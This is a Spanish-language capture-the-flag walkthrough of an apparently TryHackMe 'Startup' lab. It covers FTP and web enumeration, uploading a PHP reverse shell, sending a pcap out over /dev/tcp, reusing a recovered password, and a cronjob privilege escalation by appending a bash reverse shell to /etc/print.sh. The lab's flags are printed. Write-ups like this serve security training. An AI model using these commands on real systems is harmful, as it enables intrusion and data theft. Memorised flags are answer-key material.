Startup CTF
Fase 1 — Enumeración
Fase 1.1 — Nmap Port Scan
Comando ejecutado:
# [MÁQUINA ATACANTE]
nmap -sC -sV -oN startup.nmap 10.130.150.253
Puertos descubiertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.3 |
| 22/tcp | SSH | OpenSSH 7.2p2 Ubuntu |
| 80/tcp | HTTP | Apache 2.4.18 Ubuntu |
Hallazgos:
- FTP → Anonymous login allowed
- FTP → Directorio con permisos de escritura
- FTP → Archivos:
important.jpgynotice.txt - HTTP → Título: Maintenance

Fase 1.2 — Enumeración FTP Anónimo
Comando ejecutado:
# [MÁQUINA ATACANTE]
ftp 10.130.150.253
# Usuario: anonymous
# Password: (vacío)
ls -la
Hallazgos:
.test.log→ Archivo ocultoftp/→ Directorio con permisos de escrituraimportant.jpgynotice.txt→ Descargados para análisisnotice.txt→ Menciona usuario Maya → posible usuario del sistema

Descarga y lectura de archivos FTP:
# [MÁQUINA ATACANTE - sesión FTP]
get .test.log
get important.jpg
get notice.txt
exit
# [MÁQUINA ATACANTE]
cat .test.log
cat notice.txt
Hallazgos:
.test.log→ Contenido:testnotice.txt→ Usuario Maya identificado

Fase 1.3 — Enumeración Web
Comando ejecutado:
# [MÁQUINA ATACANTE]
gobuster dir -u http://10.130.150.253 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html \
-t 50
Directorios descubiertos:
/files→ Status 301/server-status→ Status 403
Hallazgo crítico:
/files/ftp/→ El directorio FTP es accesible desde la web → podemos subir una reverse shell por FTP y ejecutarla desde el navegador

Fase 2 — Foothold
Fase 2.1 — Upload de Reverse Shell vía FTP
Paso 1 — Preparar la shell:
# [MÁQUINA ATACANTE]
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
nano shell.php
# Cambiar: $ip = '192.168.143.6' y $port = 4444

Paso 2 — Subir la shell por FTP:
# [MÁQUINA ATACANTE]
ftp 10.130.150.253
# Usuario: anonymous / Password: vacío
cd ftp
put shell.php
exit

Fase 2.2 — Ejecución de Reverse Shell
Paso 1 — Listener en Kali:
# [MÁQUINA ATACANTE]
nc -lvnp 4444
Paso 2 — Ejecutar desde el navegador:
http://10.130.150.253/files/ftp/shell.php
Hallazgos:
- Reverse shell recibida como
www-data

Fase 2.3 — Estabilización y Enumeración Interna
Comando ejecutado:
# [MÁQUINA OBJETIVO]
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
find / -name "*.txt" 2>/dev/null | grep -v proc
Hallazgo crítico:
/recipe.txt→ Respuesta a la pregunta del room

Lectura de recipe.txt:
# [MÁQUINA OBJETIVO]
cat /recipe.txt
Hallazgo:
recipe.txt→ “the secret ingredient is love”

Fase 3 — Movimiento Lateral → lennie
Fase 3.1 — Descubrimiento del PCAP
Comando ejecutado:
# [MÁQUINA OBJETIVO]
ls -la /incidents/
Hallazgos:
/incidents/→ Directorio propiedad dewww-datasuspicious.pcapng→ Captura de red sospechosa con credenciales

Intento de lectura directa:
# [MÁQUINA OBJETIVO]
cat /incidents/suspicious.pcapng | grep -a "pass\|lennie\|login"

Fase 3.2 — Transferencia del PCAP a Kali
Paso 1 — Listener en Kali:
# [MÁQUINA ATACANTE]
nc -lvnp 5555 > suspicious.pcapng
Paso 2 — Envío desde el objetivo:
# [MÁQUINA OBJETIVO]
cat /incidents/suspicious.pcapng > /dev/tcp/192.168.143.6/5555


Fase 3.3 — Análisis con Wireshark — TCP Stream 7
Comando ejecutado:
# [MÁQUINA ATACANTE]
wireshark suspicious.pcapng
Pasos en Wireshark:
- Clic derecho en paquete TCP →
Follow→TCP Stream - Navegar hasta el Stream 7
Hallazgo crítico:
- Un atacante anterior intentó autenticarse como
www-dataconsudoy escribió la contraseña delennieen el prompt equivocado - Contraseña obtenida:
c4ntg3t3n0ughsp1c3

Fase 3.4 — Acceso SSH como lennie
Comando ejecutado:
# [MÁQUINA ATACANTE]
ssh lennie@10.130.150.253
# Password: c4ntg3t3n0ughsp1c3

Fase 3.5 — User Flag
Comando ejecutado:
# [MÁQUINA OBJETIVO - como lennie]
cat /home/lennie/user.txt
User Flag:
THM{03ce3d619b80ccbfb3b7fc81e46c0e79}

Fase 4 — Escalada de Privilegios
Fase 4.1 — Identificación del Vector PrivEsc (Cronjob)
Comando ejecutado:
# [MÁQUINA OBJETIVO - como lennie]
cat /home/lennie/scripts/planner.sh
cat /etc/print.sh
ls -la /home/lennie/scripts/
ls -la /etc/print.sh
Hallazgos:
| Archivo | Propietario | Permisos |
|---|---|---|
planner.sh |
root | Ejecutado por root vía cronjob cada minuto |
startup_list.txt |
root | Modificado cada minuto |
/etc/print.sh |
lennie | rwx — escribible por nosotros |
Vector: planner.sh (root) llama a /etc/print.sh (lennie) → inyectamos reverse shell → RCE como root

Fase 4.2 — Inyección de Reverse Shell en print.sh
Paso 1 — Listener en Kali:
# [MÁQUINA ATACANTE]
nc -lvnp 6666
Paso 2 — Inyectar reverse shell:
# [MÁQUINA OBJETIVO - como lennie]
echo "bash -i >& /dev/tcp/192.168.143.6/6666 0>&1" >> /etc/print.sh
cat /etc/print.sh
Esperar máximo 1 minuto a que el cronjob de root ejecute planner.sh → llama a print.sh → reverse shell recibida.

Fase 4.3 — Shell como Root
Hallazgos:
- Conexión recibida desde
10.130.176.228comoroot

Fase 4.4 — Root Flag
Comando ejecutado:
# [MÁQUINA OBJETIVO - como ROOT]
whoami
cat /root/root.txt
Root Flag:
THM{f963aaa6a430f210222158ae15c3d76d}
